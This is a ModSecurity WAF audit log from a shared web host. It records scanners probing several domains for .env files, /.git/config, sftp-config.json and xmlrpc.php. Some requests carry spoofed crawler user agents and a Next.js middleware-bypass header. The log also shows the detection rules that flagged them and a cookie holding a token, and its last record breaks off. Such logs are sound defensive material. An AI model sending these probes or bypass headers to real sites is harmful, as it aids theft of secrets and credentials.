Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/media../.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pwAAANg"]
Stopwatch: 1789296854223736 5786 (- - -)
Stopwatch2: 1789296854223736 5786; combined=4288, p1=247, p2=3927, p3=67, p4=7, p5=40, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--944fbb42-Z--
--cbc3f62f-A--
[13/Sep/2026:13:54:14.373237 +0300] aqaA1mM7dE9KgIIOpQh6qAAAANA 35.236.177.61 35504 127.0.0.1 7081
--cbc3f62f-B--
GET /files../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--cbc3f62f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--cbc3f62f-E--
--cbc3f62f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/files../.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qAAAANA"]
Stopwatch: 1789296854366713 6621 (- - -)
Stopwatch2: 1789296854366713 6621; combined=4900, p1=260, p2=4492, p3=90, p4=9, p5=49, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cbc3f62f-Z--
--d0eb6a05-A--
[13/Sep/2026:13:54:14.450014 +0300] aqaA1kwu1RSkptiiNIX7qgAAAIs 35.236.177.61 35534 127.0.0.1 7081
--d0eb6a05-B--
GET /static//app/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d0eb6a05-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d0eb6a05-E--
--d0eb6a05-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/app/.env"] [unique_id "aqaA1kwu1RSkptiiNIX7qgAAAIs"]
Stopwatch: 1789296854443704 6364 (- - -)
Stopwatch2: 1789296854443704 6364; combined=4748, p1=272, p2=4336, p3=86, p4=8, p5=46, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d0eb6a05-Z--
--5faffa7b-A--
[13/Sep/2026:13:54:14.458063 +0300] aqaA1isVWymXUono-eRWSgAAABY 35.236.177.61 35520 127.0.0.1 7081
--5faffa7b-B--
GET /static//.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5faffa7b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5faffa7b-E--
--5faffa7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/.env"] [unique_id "aqaA1isVWymXUono-eRWSgAAABY"]
Stopwatch: 1789296854451086 7028 (- - -)
Stopwatch2: 1789296854451086 7028; combined=5155, p1=309, p2=4718, p3=66, p4=8, p5=54, sr=148, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5faffa7b-Z--
--08d2e674-A--
[13/Sep/2026:13:54:14.545710 +0300] aqaA1mM7dE9KgIIOpQh6qQAAAMQ 35.236.177.61 35550 127.0.0.1 7081
--08d2e674-B--
GET /.//.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--08d2e674-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--08d2e674-E--
--08d2e674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qQAAAMQ"]
Stopwatch: 1789296854539190 6579 (- - -)
Stopwatch2: 1789296854539190 6579; combined=4935, p1=290, p2=4478, p3=68, p4=8, p5=91, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--08d2e674-Z--
--020c3434-A--
[13/Sep/2026:13:54:14.553498 +0300] aqaA1mM7dE9KgIIOpQh6qgAAANM 35.236.177.61 35558 127.0.0.1 7081
--020c3434-B--
GET /static//home/user/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--020c3434-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--020c3434-E--
--020c3434-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/home/user/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qgAAANM"]
Stopwatch: 1789296854545155 8396 (- - -)
Stopwatch2: 1789296854545155 8396; combined=6823, p1=295, p2=6399, p3=73, p4=7, p5=48, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--020c3434-Z--
--6762402e-A--
[13/Sep/2026:13:54:14.561816 +0300] aqaA1mM7dE9KgIIOpQh6qwAAAMo 35.236.177.61 35574 127.0.0.1 7081
--6762402e-B--
GET //.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--6762402e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--6762402e-E--
--6762402e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qwAAAMo"]
Stopwatch: 1789296854555453 6439 (- - -)
Stopwatch2: 1789296854555453 6439; combined=4714, p1=283, p2=4245, p3=113, p4=8, p5=65, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6762402e-Z--
--aa49d31b-A--
[13/Sep/2026:14:04:13.706275 +0300] aqaDLTTJ6xTvcJoem7f8jQAAAFg 23.94.77.59 48240 127.0.0.1 7081
--aa49d31b-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 23.94.77.59
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: http://ajutam.ro/american-humane-association/
--aa49d31b-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html
--aa49d31b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.23.94.77.59"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297453673722 32617 (- - -)
Stopwatch2: 1789297453673722 32617; combined=30157, p1=252, p2=29511, p3=0, p4=0, p5=393, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa49d31b-Z--
--3b143b25-A--
[13/Sep/2026:14:04:16.185862 +0300] aqaDMEwu1RSkptiiNIX75gAAAJc 196.242.89.132 39938 127.0.0.1 7081
--3b143b25-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 196.242.89.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
--3b143b25-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html
--3b143b25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.196.242.89.132"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297456153656 32298 (- - -)
Stopwatch2: 1789297456153656 32298; combined=30714, p1=262, p2=30167, p3=0, p4=0, p5=284, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3b143b25-Z--
--9f514a44-A--
[13/Sep/2026:14:04:18.439178 +0300] aqaDMjTJ6xTvcJoem7f8kAAAAEc 198.46.159.24 39946 127.0.0.1 7081
--9f514a44-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 198.46.159.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
--9f514a44-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html
--9f514a44-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.198.46.159.24"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297458408485 30845 (- - -)
Stopwatch2: 1789297458408485 30845; combined=29012, p1=244, p2=28202, p3=0, p4=0, p5=566, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f514a44-Z--
--aa736909-A--
[13/Sep/2026:14:07:51.730487 +0300] aqaEB2M7dE9KgIIOpQh7XAAAAMQ 216.126.237.47 41882 127.0.0.1 7081
--aa736909-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--aa736909-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--aa736909-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789297671609426 121110 (- - -)
Stopwatch2: 1789297671609426 121110; combined=34403, p1=345, p2=33982, p3=0, p4=0, p5=76, sr=189, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aa736909-Z--
--b0d64d69-A--
[13/Sep/2026:14:12:03.338747 +0300] aqaFA2M7dE9KgIIOpQh7iAAAANM 34.74.125.177 46540 127.0.0.1 7081
--b0d64d69-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 34.74.125.177
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=sbuczim7SUadznfadqiYBzIyOTllN2U0MjI5M2VhMWY2NzdlOTBmODcxMTIwYWE1YTliYWZiNDA%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--b0d64d69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b0d64d69-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/xmlrpc.php"] [unique_id "aqaFA2M7dE9KgIIOpQh7iAAAANM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/xmlrpc.php"] [unique_id "aqaFA2M7dE9KgIIOpQh7iAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789297923266298 72520 (- - -)
Stopwatch2: 1789297923266298 72520; combined=7557, p1=1490, p2=5969, p3=0, p4=0, p5=98, sr=228, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b0d64d69-Z--
--3b75ad10-A--
[13/Sep/2026:14:33:33.760773 +0300] aqaKDWM7dE9KgIIOpQh8XQAAANc 170.101.96.38 53948 127.0.0.1 7081
--3b75ad10-B--
GET /sftp-config.json HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 170.101.96.38
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: AMSID2=gurcr2dpu867hiohe5r0jg4tvh; BIGipServer~DMZ~bcn_apm_redir_https=rd2o00000000000000000000ffff0ac803beo443; HandLtestDomainNameServer=HandLtestDomainValueServer; MISCGCs=USERPC1_92_606013_87_USERLL1_92_41.8858%2C-87.62293_87_USERST1_92_IL3_87_LOCST1_92_IL3_87_USERDMA1_92_6023_87_DT1_92_PC3_87_IUSER1_92false; _auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2aXNpdG9ySWQiOiItUDFNUVlVdVpRQlI5YXFtOGdNUSIsImF1dGhlbnRpY2F0ZWQiOm51bGwsImF1dGhQcm92aWRlciI6bnVsbCwiZXhwIjoxNzkxODM4OTc4LCJpYXQiOjE3ODkyNDY5Nzh9.ETmu4V0KxqcKEchOCAY68rdrmw-OpKXBqjrWnR136ns; _visitor_id=-P1MQYUuZQBR9aqm8gMQ; care_did=3a9aa2f0-855d-4234-ac92-3451fb5cd624; currency=USD; first_utm_campaign=vanity; first_utm_medium=redirect; first_utm_source=vanity; handl_ip=170.101.96.38; handl_landing_page=https%3A%2F%2Fbrandnamix.com%2F.vscode%2Fsftp.json; handl_url=https%3A%2F%2Flivebh.com%2Fapartments%2Fbraxton-townhomes%2F%3Futm_source%3Dvanity%26utm_medium%3Dredirect%26utm_campaign%3Dbraxtontownhomes%26original_referrer%3Dhttps%3A%2F%2Fbraxtontownhomes.com; handl_url_base=https%3A%2F%2Flivebh.com%2Fapartments%2Fbraxton-townhomes%2F; shippingCountry=US; user_agent=Mozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F119.0.0.0%20Safari%2F537.36; utm_campaign=braxtontownhomes; utm_medium=redirect; utm_source=vanity
--3b75ad10-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--3b75ad10-E--
--3b75ad10-H--
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/sftp-config.json"] [unique_id "aqaKDWM7dE9KgIIOpQh8XQAAANc"]
Stopwatch: 1789299213743177 17712 (- - -)
Stopwatch2: 1789299213743177 17712; combined=13999, p1=1572, p2=12187, p3=153, p4=11, p5=76, sr=249, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3b75ad10-Z--
--c3e07051-A--
[13/Sep/2026:14:39:29.019410 +0300] aqaLcEwu1RSkptiiNIX8hwAAAJg 34.38.254.144 54116 127.0.0.1 7081
--c3e07051-B--
GET / HTTP/1.1
Host: default-81-180-250-39
X-Real-IP: 34.38.254.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--c3e07051-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/8.2.33
X-Redirect-By: WordPress
Location: https://www.nuntiinsibiu.ro/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
--c3e07051-E--
--c3e07051-H--
